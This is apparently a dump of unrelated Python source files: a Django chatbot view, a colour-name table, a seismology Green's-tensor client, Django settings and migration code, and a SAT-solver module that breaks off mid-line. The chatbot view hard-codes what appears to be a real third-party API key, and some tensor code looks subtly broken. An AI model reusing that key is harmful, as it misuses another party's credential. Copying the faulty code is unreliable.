= acmg_evidence.weight if old_instance.comments: new_instance.comments = [UserComment(comment=comment) for comment in old_instance.comments] new_instance.groupId = old_instance.familyId return self.validate_object(object_to_validate=new_instance, object_type=self.new_model.VariantInterpretationLog)
StarcoderdataPython
5142656
colorNames = [[[0, 0, 0], "Schwarz"], [[60, 61, 188], "<NAME>"], [[105, 57, 144], "Schiefergrau"], [[105, 57, 153], "<NAME>"], [[107, 53, 222], "<NAME>"], [[0, 0, 105], "<NAME>"], [[0, 0, 128], "Grau"], [[0, 0, 169], "Dunkelgrau"], [[0, 0, 192], "Silber"], [[0, 0, 211], "Hellgrau"], [[0, 0, 220], "Gainsboro"], [[0, 0, 245], "<NAME>"], [[120, 7, 255], "Geisterweiß"], [[0, 0, 255], "Weiß"], [[0, 5, 255], "Schneeweiß"], [[30, 15, 255], "Elfenbein"], [[20, 15, 255], "Blütenweiß"], [[12, 17, 255], "Muschel"], [[20, 23, 253], "Altgold"], [[15, 20, 250], "Leinenfarbe"], [[17, 36, 250], "<NAME>"], [[18, 50, 255], "Mandelweiß"], [[19, 42, 255], "<NAME>"], [[30, 26, 245], "Beige"], [[24, 35, 255], "Mais"], [[30, 41, 250], "<NAME>"], [[30, 31, 255], "Hellgelb"], [[27, 50, 255], "Chiffongelb"], [[27, 73, 238], "Blasse Goldrutenfarbe"], [[27, 106, 240], "Khaki"], [[30, 255, 255], "Gelb"], [[25, 255, 255], "Gold"], [[19, 255, 255], "Orange"], [[16, 255, 255], "Dunkles Orange"], [[21, 218, 218], "Goldrute"], [[21, 240, 184], "dunkle Goldrutenfarbe"], [[15, 177, 205], "Peru"], [[12, 219, 210], "Schokolade"], [[12, 220, 139], "Sattelbraun"], [[10, 183, 160], "Ocker"], [[0, 190, 165], "Braun"], [[0, 255, 139], "Dunkelrot"], [[0, 255, 128], "Kastanienbraun"], [[0, 206, 178], "Ziegelfarbe"], [[0, 141, 205], "Indischrot"], [[174, 232, 220], "Karmesinrot"], [[0, 255, 255], "Rot"], [[8, 255, 255], "Orangenrot"], [[5, 184, 255], "Tomatenrot"], [[8, 175, 255], "Koralle"], [[3, 139, 250], "Lachs"], [[0, 119, 240], "<NAME>"], [[8, 121, 233], "Dunk<NAME>"], [[9, 133, 255], "<NAME>"], [[14, 155, 244], "Sandbraun"], [[0, 61, 188], "<NAME>"], [[17, 85, 210], "Gelbbraun"], [[17, 100, 222], "<NAME>"], [[20, 69, 245], "Weizen"], [[14, 70, 255], "Pfirsich"], [[18, 82, 255], "Navajoweiß"], [[16, 59, 255], "Tomatencreme"], [[170, 15, 255], "<NAME>"], [[3, 30, 255], "Altrosa"], [[175, 63, 255], "Rosa"], [[175, 73, 255], "Hellrosa"], [[165, 150, 255], "<NAME>"], [[150, 255, 255], "Fuchsie"], [[150, 255, 255], "Magentarot"], [[164, 235, 255], "Tiefrosa"], [[161, 228, 199], "<NAME>"], [[170, 125, 219], "<NAME>"], [[150, 70, 221], "Pflaume"], [[150, 30, 216], "Distel"], [[120, 20, 250], "Lavendelfarbe"], [[150, 116, 238], "Violett"], [[151, 124, 218], "Orchidee"], [[150, 255, 139], "<NAME>"], [[150, 255, 128], "Violett"], [[137, 255, 130], "Indigo"], [[136, 206, 226], "Blauviolett"], [[141, 255, 211], "<NAME>"], [[140, 193, 204], "<NAME>"], [[130, 125, 219], "<NAME>"], [[144, 152, 211], "<NAME>"], [[124, 144, 238], "<NAME>"], [[124, 143, 205], "Schieferblau"], [[124, 143, 139], "<NAME>"], [[120, 198, 112], "Mitternachtsblau"], [[120, 255, 128], "Marineblau"], [[120, 255, 139], "Dunkelblau"], [[120, 255, 205], "Mittelblau"], [[120, 255, 255], "Blau"], [[112, 181, 225], "Königsblau"], [[104, 156, 180], "Stahlblau"], [[109, 147, 237], "Kornblumenblau"], [[105, 225, 255], "Dodger-Blau"], [[98, 255, 255], "<NAME>"], [[101, 117, 250], "<NAME>"], [[99, 109, 235], "Himmelblau"], [[97, 63, 230], "Hellblau"], [[90, 255, 255], "Zyanblau"], [[90, 255, 255], "Blaugrün"], [[93, 60, 230], "Taubenblau"], [[90, 31, 255], "<NAME>"], [[37, 255, 206], "Aliceblau"], [[90, 15, 255], "Himmelblau"], [[75, 10, 255], "<NAME>"], [[60, 15, 255], "Honigmelone"], [[80, 128, 255], "Aquamarinblau"], [[87, 182, 224], "Türkis"], [[90, 68, 238], "<NAME>"], [[89, 167, 209], "<NAME>"], [[90, 255, 209], "<NAME>"], [[80, 128, 205], "<NAME>"], [[88, 209, 178], "<NAME>"], [[90, 255, 139], "<NAME>"], [[90, 255, 128], "Entenbraun"], [[91, 104, 160], "Kadettblau"], [[73, 170, 179], "<NAME>"], [[60, 61, 188], "<NAME>"], [[60, 101, 238], "Hellgrün"], [[60, 101, 251], "Blassgrün"], [[78, 255, 250], "<NAME>"], [[75, 255, 255], "Frühlingsgrün"], [[60, 255, 255], "Zitronengrün"], [[60, 193, 205], "Gelbgrün"], [[73, 171, 139], "Seegrün"], [[60, 193, 139], "Waldgrün"], [[60, 255, 128], "Grün"], [[60, 255, 100], "Dunkelgrün"], [[40, 192, 142], "<NAME>"], [[41, 143, 107], "<NAME>"], [[30, 255, 128], "Olivgrün"], [[28, 111, 189], "<NAME>"], [[40, 193, 205], "Gelbgrün"], [[45, 255, 255], "Hellgrün"], [[42, 208, 255], "Grüngelb"]] def hsv_to_name(hsv): """ Converts a HSV value into a color name :param hsv: The hsv value [0..180, 0..255, 0..255] """ min_colours = {} for color in colorNames: h_c, s_c, v_c = color[0] hd = abs(h_c - hsv[0]) sd = abs(s_c - hsv[1]) vd = abs(v_c - hsv[2]) min_colours[(hd + sd + vd)] = color return min_colours[min(min_colours.keys())][1]
StarcoderdataPython
361639
import redis import requests from django.http import HttpResponse, JsonResponse from django.shortcuts import render from django.views import View import json import urllib.request # Create your views here. class UsersView(View): def __init__(self): self.project_reply={ 'word':'''上传Word后对文档修改,也可替换数据批量生成word''', 'excel':'''对表格数据可视化分析,拆分合并表格''', 'company':'''用于管理企业所属用户,可查看用户信息,以及移出企业组''', 'user':'''用户个人信息实现,可对部分信息修改''', 'picture':'''对图片压缩,裁剪,以及添加水印''', 'localfile':'''对本地文件,进行批量移动、复制、删除和解压操作''', } def get(self,request): return render(request, 'robot_js/robot.html') def post(self,request): print('*'*50) json_str=request.body json_obj=json.loads(json_str) talk_words=json_obj print(talk_words) r = redis.Redis(host='localhost', port=6379, db=0) api_url = "http://openapi.tuling123.com/openapi/api/v2" name='username'#用户名 while True: if name: r.sadd('%s:chat' % name, talk_words) # # if talk_words in 'word': # if 'word' in talk_words or '文档' in talk_words: # # project_reply = 'word' # 功能详细信息+url跳转页面 # return JsonResponse({'results_text':self.project_reply['word']}) # # print('功能详细信息+url跳转页面') # # elif talk_words in 'excel': # elif 'excel' in talk_words: # project_reply = 'excel' # 功能详细信息+url跳转页面 # return JsonResponse({'results_text':project_reply}) # # elif talk_words in '企业': # project_reply = '企业' # 功能详细信息+url跳转页面 # return JsonResponse({'results_text':project_reply}) # # elif talk_words in '用户': # project_reply = '用户' # 功能详细信息+url跳转页面 # return JsonResponse({'results_text':project_reply}) # # elif talk_words in '图像处理': # project_reply = '图像处理' # 功能详细信息+url跳转页面 # return JsonResponse({'results_text':project_reply}) # # elif talk_words in '本地文档处理': # project_reply = '本地文档处理' # 功能详细信息+url跳转页面 # return JsonResponse({'results_text':project_reply}) if 'word' in talk_words or '文档' in talk_words: return JsonResponse({'results_text':self.project_reply['word']}) elif 'excel' in talk_words or '表格' in talk_words: return JsonResponse({'results_text':self.project_reply['excel']}) elif '企业' in talk_words: return JsonResponse({'results_text':self.project_reply['company']}) elif '用户' in talk_words: return JsonResponse({'results_text':self.project_reply['user']}) elif '图像' in talk_words or '图片' in talk_words: return JsonResponse({'results_text':self.project_reply['picture']}) elif '本地' in talk_words or '工具' in talk_words: # project_reply = '本地文档处理' # 功能详细信息+url跳转页面 return JsonResponse({'results_text':self.project_reply['localfile']}) req = { "perception": { "inputText": { "text": talk_words }, "selfInfo": { "location": { "city": "深圳", "province": "广州", "street": "XXX" } } }, "userInfo": { "apiKey": '196204e35e3241a3a4431304e449fe00', "userId": 'username'#此处填写用户名 (str格式) } } req = json.dumps(req).encode('utf8') http_post = urllib.request.Request(api_url, data=req, headers={'content-type': 'application/json'}) response = urllib.request.urlopen(http_post) response_str = response.read().decode('utf8') response_dic = json.loads(response_str) results_text = response_dic['results'][0]['values']['text'] print(results_text) return JsonResponse({'results_text':results_text}) def index(requset): return render(requset,'../templates/index.html')
StarcoderdataPython
1902014
<reponame>jrmarino/ravensource --- gnatdoc/docs/users_guide/conf.py.orig 2021-06-18 05:08:58 UTC +++ gnatdoc/docs/users_guide/conf.py @@ -53,7 +53,8 @@ def get_version(): version_file = "../../../VERSION.txt" if os.path.isfile(version_file): return open(version_file).readline() - raise Exception("Cannot find version number") + else: + return "0.0" # The version info for the project you're documenting, acts as replacement for # |version| and |release|, also used in various other places throughout the
StarcoderdataPython
8036722
<gh_stars>10-100 import os.path import seisgen import obspy import numpy as np import pickle from mtuq.greens_tensor.SPECFEM3D import GreensTensor from mtuq.io.clients.base import Client as ClientBase from mtuq.util.signal import resample class Client(ClientBase): """ SPECFEM3D strain Green's tensor database client .. rubric:: Usage To instantiate a database client, supply a path or url: .. code:: from mtuq.io.clients.SPECFEM3D_SGT import Client db = Client(path_or_url) Then the database client can be used to generate GreensTensors: .. code:: greens_tensors = db.get_greens_tensors(stations, origin) .. note :: For instructions on creating SPECFEM3D/3D_GLOBE strain Green's tensor databases, see `SEISGEN documentation <https://github.com/Liang-Ding/seisgen>`_ """ def __init__(self, path_or_url=None, model=None, include_mt=True, include_force=False): self.path = path_or_url if not model: model = path_or_url self.model = model self.include_mt = include_mt self.include_force = include_force self.b_initial_db = False self.b_new_origin = True self.origin = 0 def set_local_db(self, sgt_database_folder, model3D_folder, info_grid_file): """ Set and utilize the local database. """ try: self.sgtMgr = seisgen.DSGTMgr(sgt_database_folder, model3D_folder, info_grid_file) self.b_initial_db = True except: raise Exception def set_remote_db(self): """ Set and utilize the remote database. """ raise NotImplementedError def get_greens_tensors(self, stations=[], origins=[], verbose=False): """ Reads Green's tensors Returns a ``GreensTensorList`` in which each element corresponds to a (station, origin) pair from the given lists .. rubric :: Input arguments ``stations`` (`list` of `mtuq.Station` objects) ``origins`` (`list` of `mtuq.Origin` objects) ``verbose`` (`bool`) """ return super(Client, self).get_greens_tensors(stations, origins, verbose) def _get_greens_tensor(self, station=None, origin=None): if station is None: raise Exception("Missing station input argument") if origin is None: raise Exception("Missing station input argument") if self.include_mt: # Check if the Green's Function (GF) exists, # Read from the PKL file storing the GF or generate from SGT. prefix = station.id GF_file_path = os.path.join(str(self.path), str(prefix)+".PKL") b_exist = False b_generate = True try: b_exist = os.path.exists(GF_file_path) except: b_exist = False if b_exist: try: with open(GF_file_path, 'rb') as f: stream = pickle.load(f) b_generate = False except: b_exist = False b_generate = True try: os.remove(GF_file_path) except: pass if b_generate: # Generate Green's function from SGT. if not self.b_initial_db: raise Exception if not self.b_new_origin: try: if origin.latitude != self.origin.latitude or origin.longitude != self.origin.longitude: self.b_new_origin = True else: try: if origin.depth_in_m != self.origin.depth_in_m: self.b_new_origin = True except: if origin.elevation_in_m != self.origin.elevation_in_m: self.b_new_origin = True except: self.b_new_origin = True stream = self.sgtMgr.get_greens_function(station, origin, b_new_origin=self.b_new_origin) if self.b_new_origin: self.origin = origin self.b_new_origin = False try: # save the GF as pickle file for future use. with open(GF_file_path, 'wb') as f: pickle.dump(stream, f) except: print("! Unable to dump Green's function at {}.".format(GF_file_path)) if self.include_force: raise NotImplementedError # what are the start and end times of the data? t1_new = float(station.starttime) t2_new = float(station.endtime) dt_new = float(station.delta) # what are the start and end times of the Green's function? t1_old = float(origin.time) + float(stream[0].stats.starttime) t2_old = float(origin.time) + float(stream[0].stats.endtime) dt_old = float(stream[0].stats.delta) for trace in stream: # resample Green's functions data_old = trace.data data_new = resample(data_old, t1_old, t2_old, dt_old, t1_new, t2_new, dt_new) trace.data = data_new trace.stats.starttime = t1_new trace.stats.delta = dt_new trace.stats.npts = len(data_new) tags = [ 'model:%s' % self.model, 'solver:%s' % 'SPECFEM3D', ] return GreensTensor(traces=[trace for trace in stream], station=station, origin=origin, tags=tags, include_mt=self.include_mt, include_force=self.include_force)
StarcoderdataPython
4986616
from aiohttp import web from pydantic import Field, PositiveInt from servicelib.aiohttp.application_keys import APP_SETTINGS_KEY from settings_library.base import BaseCustomSettings class ResourceManagerSettings(BaseCustomSettings): RESOURCE_MANAGER_RESOURCE_TTL_S: PositiveInt = Field( 900, description="Expiration time (or Time to live (TTL) in redis jargon) for a registered resource", # legacy! env=[ "RESOURCE_MANAGER_RESOURCE_TTL_S", "WEBSERVER_RESOURCES_DELETION_TIMEOUT_SECONDS", # legacy ], ) def get_plugin_settings(app: web.Application) -> ResourceManagerSettings: settings = app[APP_SETTINGS_KEY].WEBSERVER_RESOURCE_MANAGER assert settings, "setup_settings not called?" # nosec assert isinstance(settings, ResourceManagerSettings) # nosec return settings
StarcoderdataPython
11343389
<filename>elasticsearch_django/migrations/0009_searchquery_query_type.py # Generated by Django 2.2 on 2019-04-11 17:15 from django.db import migrations, models from ..models import SearchQuery class Migration(migrations.Migration): dependencies = [("elasticsearch_django", "0008_searchquery_search_terms")] operations = [ migrations.AddField( model_name="searchquery", name="query_type", field=models.CharField( choices=SearchQuery.QueryType.choices, default="SEARCH", help_text="Does this query return results, or just the hit count?", max_length=10, ), ) ]
StarcoderdataPython
3522099
# Copyright (c) Microsoft. All rights reserved. # Licensed under the MIT license. See LICENSE.md file in the project root for full license information. # solver.py : Defines the base class for all PDP Solvers as well as the various inherited solvers. import os import torch import torch.nn as nn import numpy as np import torch.nn.functional as F import sp_aggregators from pdp.nn import pdp_propagate, pdp_decimate, pdp_predict, util ############################################################### ### The Problem Class ############################################################### class SATProblem(object): "The class that encapsulates a batch of CNF problem instances." def __init__(self, data_batch, device, batch_replication=1): self._device = device self._batch_replication = batch_replication self.setup_problem(data_batch, batch_replication) self._edge_mask = None def setup_problem(self, data_batch, batch_replication): "Setup the problem properties as well as the relevant sparse matrices." if batch_replication > 1: self._replication_mask_tuple = self._compute_batch_replication_map( data_batch[1], batch_replication ) ( self._graph_map, self._batch_variable_map, self._batch_function_map, self._edge_feature, self._meta_data, _, ) = self._replicate_batch(data_batch, batch_replication) else: ( self._graph_map, self._batch_variable_map, self._batch_function_map, self._edge_feature, self._meta_data, _, ) = data_batch self._variable_num = self._batch_variable_map.size()[0] self._function_num = self._batch_function_map.size()[0] self._edge_num = self._graph_map.size()[1] # self.degree = self._vf_mask_tuple = self._compute_variable_function_map( self._graph_map, self._batch_variable_map, self._batch_function_map, self._edge_feature, ) self._batch_mask_tuple = self._compute_batch_map( self._batch_variable_map, self._batch_function_map ) self._graph_mask_tuple = self._compute_graph_mask( self._graph_map, self._batch_variable_map, self._batch_function_map, degree=True, ) self._pos_mask_tuple = self._compute_graph_mask( self._graph_map, self._batch_variable_map, self._batch_function_map, (self._edge_feature == 1).squeeze(1).float(), ) self._neg_mask_tuple = self._compute_graph_mask( self._graph_map, self._batch_variable_map, self._batch_function_map, (self._edge_feature == -1).squeeze(1).float(), ) self._signed_mask_tuple = self._compute_graph_mask( self._graph_map, self._batch_variable_map, self._batch_function_map, self._edge_feature.squeeze(1), ) self._active_variables = torch.ones(self._variable_num, 1, device=self._device) self._active_functions = torch.ones(self._function_num, 1, device=self._device) self._solution = 0.5 * torch.ones(self._variable_num, device=self._device) self._batch_size = (self._batch_variable_map.max() + 1).long().item() self._is_sat = 0.5 * torch.ones(self._batch_size, device=self._device) # i = self._graph_map.long() # v = self._edge_feature # self._clause_mat = torch.sparse.FloatTensor(i, v).to_dense().reshape(self._function_num, self._variable_num) # self._edge_mask = sp_aggregators.get_sp_aggregate(self._clause_mat) self.adj_lists, self.node_adj_lists = self._compute_adj_list() def _replicate_batch(self, data_batch, batch_replication): "Implements the batch replication." ( graph_map, batch_variable_map, batch_function_map, edge_feature, meta_data, label, ) = data_batch edge_num = graph_map.size()[1] batch_size = (batch_variable_map.max() + 1).long().item() variable_num = batch_variable_map.size()[0] function_num = batch_function_map.size()[0] ind = ( torch.arange(batch_replication, dtype=torch.int32, device=self._device) .unsqueeze(1) .repeat(1, edge_num) .view(1, -1) ) graph_map = graph_map.repeat(1, batch_replication) + ind.repeat( 2, 1 ) * torch.tensor( [[variable_num], [function_num]], dtype=torch.int32, device=self._device ) ind = ( torch.arange(batch_replication, dtype=torch.int32, device=self._device) .unsqueeze(1) .repeat(1, 1, -1) ) batch_variable_map = ( batch_variable_map.repeat(batch_replication) + ind * batch_size ) ind = ( torch.arange(batch_replication, dtype=torch.int32, device=self._device) .unsqueeze(1) .repeat(1, function_num) .view(1, -1) ) batch_function_map = ( batch_function_map.repeat(batch_replication) + ind * batch_size ) edge_feature = edge_feature.repeat(batch_replication, 1) if meta_data is not None: meta_data = meta_data.repeat(batch_replication, 1) if label is not None: label = label.repeat(batch_replication, 1) return ( graph_map, batch_variable_map.squeeze(0), batch_function_map.squeeze(0), edge_feature, meta_data, label, ) def _compute_batch_replication_map(self, batch_variable_map, batch_replication): batch_size = (batch_variable_map.max() + 1).long().item() x_ind = torch.arange( batch_size * batch_replication, dtype=torch.int64, device=self._device ) y_ind = torch.arange(batch_size, dtype=torch.int64, device=self._device).repeat( batch_replication ) ind = torch.stack([x_ind, y_ind]) all_ones = torch.ones(batch_size * batch_replication, device=self._device) if self._device.type == "cuda": mask = torch.cuda.sparse.FloatTensor( ind, all_ones, torch.Size([batch_size * batch_replication, batch_size]), device=self._device, ) else: mask = torch.sparse.FloatTensor( ind, all_ones, torch.Size([batch_size * batch_replication, batch_size]), device=self._device, ) mask_transpose = mask.transpose(0, 1) return (mask, mask_transpose) def _compute_variable_function_map( self, graph_map, batch_variable_map, batch_function_map, edge_feature ): edge_num = graph_map.size()[1] variable_num = batch_variable_map.size()[0] function_num = batch_function_map.size()[0] all_ones = torch.ones(edge_num, device=self._device) if self._device.type == "cuda": mask = torch.cuda.sparse.FloatTensor( graph_map.long(), all_ones, torch.Size([variable_num, function_num]), device=self._device, ) signed_mask = torch.cuda.sparse.FloatTensor( graph_map.long(), edge_feature.squeeze(1), torch.Size([variable_num, function_num]), device=self._device, ) else: mask = torch.sparse.FloatTensor( graph_map.long(), all_ones, torch.Size([variable_num, function_num]), device=self._device, ) signed_mask = torch.sparse.FloatTensor( graph_map.long(), edge_feature.squeeze(1), torch.Size([variable_num, function_num]), device=self._device, ) mask_transpose = mask.transpose(0, 1) signed_mask_transpose = signed_mask.transpose(0, 1) return (mask, mask_transpose, signed_mask, signed_mask_transpose) def _compute_batch_map(self, batch_variable_map, batch_function_map): variable_num = batch_variable_map.size()[0] function_num = batch_function_map.size()[0] variable_all_ones = torch.ones(variable_num, device=self._device) function_all_ones = torch.ones(function_num, device=self._device) variable_range = torch.arange( variable_num, dtype=torch.int64, device=self._device ) function_range = torch.arange( function_num, dtype=torch.int64, device=self._device ) batch_size = (batch_variable_map.max() + 1).long().item() variable_sparse_ind = torch.stack([variable_range, batch_variable_map.long()]) function_sparse_ind = torch.stack([function_range, batch_function_map.long()]) if self._device.type == "cuda": variable_mask = torch.cuda.sparse.FloatTensor( variable_sparse_ind, variable_all_ones, torch.Size([variable_num, batch_size]), device=self._device, ) function_mask = torch.cuda.sparse.FloatTensor( function_sparse_ind, function_all_ones, torch.Size([function_num, batch_size]), device=self._device, ) else: variable_mask = torch.sparse.FloatTensor( variable_sparse_ind, variable_all_ones, torch.Size([variable_num, batch_size]), device=self._device, ) function_mask = torch.sparse.FloatTensor( function_sparse_ind, function_all_ones, torch.Size([function_num, batch_size]), device=self._device, ) variable_mask_transpose = variable_mask.transpose(0, 1) function_mask_transpose = function_mask.transpose(0, 1) return ( variable_mask, variable_mask_transpose, function_mask, function_mask_transpose, ) def _compute_graph_mask( self, graph_map, batch_variable_map, batch_function_map, edge_values=None, degree=False, ): edge_num = graph_map.size()[1] # print("edge_num", edge_num) variable_num = batch_variable_map.size()[0] function_num = batch_function_map.size()[0] neg_prop_flag = False if edge_values is None: edge_values = torch.ones(edge_num, device=self._device) else: neg_prop_flag = True edge_num_range = torch.arange(edge_num, dtype=torch.int64, device=self._device) variable_sparse_ind = torch.stack([graph_map[0, :].long(), edge_num_range]) function_sparse_ind = torch.stack([graph_map[1, :].long(), edge_num_range]) if self._device.type == "cuda": variable_mask = torch.cuda.sparse.FloatTensor( variable_sparse_ind, edge_values, torch.Size([variable_num, edge_num]), device=self._device, ) function_mask = torch.cuda.sparse.FloatTensor( function_sparse_ind, edge_values, torch.Size([function_num, edge_num]), device=self._device, ) else: variable_mask = torch.sparse.FloatTensor( variable_sparse_ind, edge_values, torch.Size([variable_num, edge_num]), device=self._device, ) function_mask = torch.sparse.FloatTensor( function_sparse_ind, edge_values, torch.Size([function_num, edge_num]), device=self._device, ) if degree: self.degree = torch.sum(variable_mask.to_dense(), dim=1) if neg_prop_flag: self.neg_prop = torch.sum(variable_mask.to_dense(), dim=1) variable_mask_transpose = variable_mask.transpose(0, 1) function_mask_transpose = function_mask.transpose(0, 1) return ( variable_mask, variable_mask_transpose, function_mask, function_mask_transpose, ) def _compute_adj_list(self): """计算与变量 n 同时出现在某一个子句中的变量集合""" # adj_lists = defaultdict(set) adj_lists = {} node_list = [] self.nodes = ( (self._signed_mask_tuple[0]._indices()[0].to(torch.float) + 1) * self._edge_feature.squeeze(1) ).to(torch.long) for j in range(self._variable_num): indices = self._graph_map[1][torch.abs(self.nodes) == j + 1].to(torch.long) # functions = np.array(self._vf_mask_tuple[3].to(torch.long).to_dense()[indices, :][:, j] * (indices + 1)) functions = self._vf_mask_tuple[3].to(torch.long).to_dense()[ indices.cpu().numpy(), : ][:, j] * (indices + 1) node_list.append(functions) edge_indices = np.argwhere( self._signed_mask_tuple[2].cpu().to_dense()[indices] != 0 )[1] # relations = set([abs(i) - 1 for i in self.nodes[edge_indices].numpy()]) relations = torch.unique( torch.abs(self.nodes[edge_indices]) - 1, sorted=False ) if len(relations) < 2: continue # adj_lists[j] = relations - set([j]) adj_lists[j] = relations return adj_lists, node_list def _peel(self): "Implements the peeling algorithm." vf_map, vf_map_transpose, signed_vf_map, _ = self._vf_mask_tuple variable_degree = torch.mm(vf_map, self._active_functions) signed_variable_degree = torch.mm(signed_vf_map, self._active_functions) while True: single_variables = ( variable_degree == signed_variable_degree.abs() ).float() * self._active_variables if torch.sum(single_variables) <= 0: break single_functions = ( torch.mm(vf_map_transpose, single_variables) > 0 ).float() * self._active_functions degree_delta = torch.mm(vf_map, single_functions) * self._active_variables signed_degree_delta = ( torch.mm(signed_vf_map, single_functions) * self._active_variables ) self._solution[single_variables[:, 0] == 1] = ( signed_variable_degree[single_variables[:, 0] == 1, 0].sign() + 1 ) / 2.0 variable_degree -= degree_delta signed_variable_degree -= signed_degree_delta self._active_variables[single_variables[:, 0] == 1, 0] = 0 self._active_functions[single_functions[:, 0] == 1, 0] = 0 def _set_variable_core(self, assignment): "Fixes variables to certain binary values." _, vf_map_transpose, _, signed_vf_map_transpose = self._vf_mask_tuple assignment *= self._active_variables # Compute the number of inputs for each function node input_num = torch.mm(vf_map_transpose, assignment.abs()) # Compute the signed evaluation for each function node function_eval = torch.mm(signed_vf_map_transpose, assignment) # Compute the de-activated functions deactivated_functions = ( function_eval > -input_num ).float() * self._active_functions # De-activate functions and variables self._active_variables[assignment[:, 0].abs() == 1, 0] = 0 self._active_functions[deactivated_functions[:, 0] == 1, 0] = 0 # Update the solution self._solution[assignment[:, 0].abs() == 1] = ( assignment[assignment[:, 0].abs() == 1, 0] + 1 ) / 2.0 def _propagate_single_clauses(self): "Implements unit clause propagation algorithm." vf_map, vf_map_transpose, signed_vf_map, _ = self._vf_mask_tuple ( b_variable_mask, b_variable_mask_transpose, b_function_mask, _, ) = self._batch_mask_tuple while True: function_degree = torch.mm(vf_map_transpose, self._active_variables) single_functions = (function_degree == 1).float() * self._active_functions if torch.sum(single_functions) <= 0: break # Compute the number of inputs for each variable node input_num = torch.mm(vf_map, single_functions) # Compute the signed evaluation for each variable node variable_eval = torch.mm(signed_vf_map, single_functions) # Detect and de-activate the UNSAT examples conflict_variables = ( variable_eval.abs() != input_num ).float() * self._active_variables if torch.sum(conflict_variables) > 0: # Detect the UNSAT examples unsat_examples = torch.mm(b_variable_mask_transpose, conflict_variables) self._is_sat[unsat_examples[:, 0] >= 1] = 0 # De-activate the function nodes related to unsat examples unsat_functions = ( torch.mm(b_function_mask, unsat_examples) * self._active_functions ) self._active_functions[unsat_functions[:, 0] == 1, 0] = 0 # De-activate the variable nodes related to unsat examples unsat_variables = ( torch.mm(b_variable_mask, unsat_examples) * self._active_variables ) self._active_variables[unsat_variables[:, 0] == 1, 0] = 0 # Compute the assigned variables assigned_variables = ( variable_eval.abs() == input_num ).float() * self._active_variables # Compute the variable assignment assignment = torch.sign(variable_eval) * assigned_variables # De-activate single functions self._active_functions[single_functions[:, 0] == 1, 0] = 0 # Set the corresponding variables self._set_variable_core(assignment) def set_variables(self, assignment): "Fixes variables to certain binary values and simplifies the CNF accordingly." self._set_variable_core(assignment) self.simplify() def simplify(self): "Simplifies the CNF." self._propagate_single_clauses() self._peel() ############################################################### ### The Solver Classes ############################################################### class PropagatorDecimatorSolverBase(nn.Module): "The base class for all PDP SAT solvers." def __init__( self, device, name, propagator, decimator, predictor, local_search_iterations=0, epsilon=0.05, ): super(PropagatorDecimatorSolverBase, self).__init__() self._device = device self._module_list = nn.ModuleList() self._propagator = propagator self._decimator = decimator self._predictor = predictor self._module_list.append(self._propagator) self._module_list.append(self._decimator) self._module_list.append(self._predictor) self._global_step = nn.Parameter( torch.tensor([0], dtype=torch.float, device=self._device), requires_grad=False, ) self._name = name self._local_search_iterations = local_search_iterations self._epsilon = epsilon def parameter_count(self): return sum(p.numel() for p in self.parameters() if p.requires_grad) def save(self, export_path_base): torch.save(self.state_dict(), os.path.join(export_path_base, self._name)) def load(self, import_path_base): self.load_state_dict(torch.load(os.path.join(import_path_base, self._name))) def forward( self, init_state, graph_map, batch_variable_map, batch_function_map, edge_feature, meta_data, is_training=True, iteration_num=1, check_termination=None, simplify=True, batch_replication=1, ): init_propagator_state, init_decimator_state = init_state batch_replication = 1 if is_training else batch_replication sat_problem = SATProblem( ( graph_map, batch_variable_map, batch_function_map, edge_feature, meta_data, None, ), self._device, batch_replication, ) if simplify and not is_training: sat_problem.simplify() if self._propagator is not None and self._decimator is not None: propagator_state, decimator_state, loss = self._forward_core( init_propagator_state, init_decimator_state, sat_problem, iteration_num, is_training, check_termination, ) if loss is not None: loss = torch.abs(sat_problem.degree - loss) else: decimator_state = None propagator_state = None prediction = self._predictor(decimator_state, sat_problem, True) # Post-processing local search if not is_training: prediction = self._local_search(prediction, sat_problem, batch_replication) prediction = self._update_solution(prediction, sat_problem) if batch_replication > 1: prediction, propagator_state, decimator_state = self._deduplicate( prediction, propagator_state, decimator_state, sat_problem ) return ( prediction, (propagator_state, decimator_state), ), sat_problem.node_adj_lists def _forward_core( self, init_propagator_state, init_decimator_state, sat_problem, iteration_num, is_training, check_termination, ): propagator_state = init_propagator_state decimator_state = init_decimator_state if check_termination is None: active_mask = None else: active_mask = torch.ones( sat_problem._batch_size, 1, dtype=torch.uint8, device=self._device ) for _ in torch.arange(iteration_num, dtype=torch.int32, device=self._device): # propagator_state, loss, permutation_state = self._propagator(propagator_state, decimator_state, sat_problem, # is_training, active_mask) propagator_state = self._propagator( propagator_state, decimator_state, sat_problem, is_training, active_mask ) # print('368', propagator_state[1].shape) decimator_state = self._decimator( decimator_state, propagator_state, sat_problem, is_training, active_mask ) sat_problem._edge_mask = torch.mm( sat_problem._graph_mask_tuple[1], sat_problem._active_variables ) * torch.mm( sat_problem._graph_mask_tuple[3], sat_problem._active_functions ) if sat_problem._edge_mask.sum() < sat_problem._edge_num: decimator_state += (sat_problem._edge_mask,) if check_termination is not None: prediction = self._predictor(decimator_state, sat_problem) prediction = self._update_solution(prediction, sat_problem) check_termination(active_mask, prediction, sat_problem) num_active = active_mask.sum() if num_active <= 0: break # propagator_state = propagator_state + permutation_state # return propagator_state, decimator_state, loss return propagator_state, decimator_state, None def _update_solution(self, prediction, sat_problem): "Updates the the SAT problem object's solution according to the cuerrent prediction." if prediction[0] is not None: variable_solution = sat_problem._active_variables * prediction[0] + ( 1.0 - sat_problem._active_variables ) * sat_problem._solution.unsqueeze(1) sat_problem._solution[ sat_problem._active_variables[:, 0] == 1 ] = variable_solution[sat_problem._active_variables[:, 0] == 1, 0] else: variable_solution = None # print('_update_solution', variable_solution, prediction[0], prediction[1]) return variable_solution, prediction[1] def _deduplicate(self, prediction, propagator_state, decimator_state, sat_problem): "De-duplicates the current batch (to neutralize the batch replication) by finding the replica with minimum energy for each problem instance. " if ( sat_problem._batch_replication <= 1 or sat_problem._replication_mask_tuple is None ): return None, None, None assignment = 2 * prediction[0] - 1.0 energy, _ = self._compute_energy(assignment, sat_problem) max_ind = util.sparse_argmax( -energy.squeeze(1), sat_problem._replication_mask_tuple[0], device=self._device, ) batch_flag = torch.zeros(sat_problem._batch_size, 1, device=self._device) batch_flag[max_ind, 0] = 1 flag = torch.mm(sat_problem._batch_mask_tuple[0], batch_flag) variable_prediction = ( (flag * prediction[0]) .view(sat_problem._batch_replication, -1) .sum(dim=0) .unsqueeze(1) ) flag = torch.mm(sat_problem._graph_mask_tuple[1], flag) new_propagator_state = () for x in propagator_state: new_propagator_state += ( (flag * x) .view( sat_problem._batch_replication, sat_problem._edge_num / sat_problem._batch_replication, -1, ) .sum(dim=0), ) new_decimator_state = 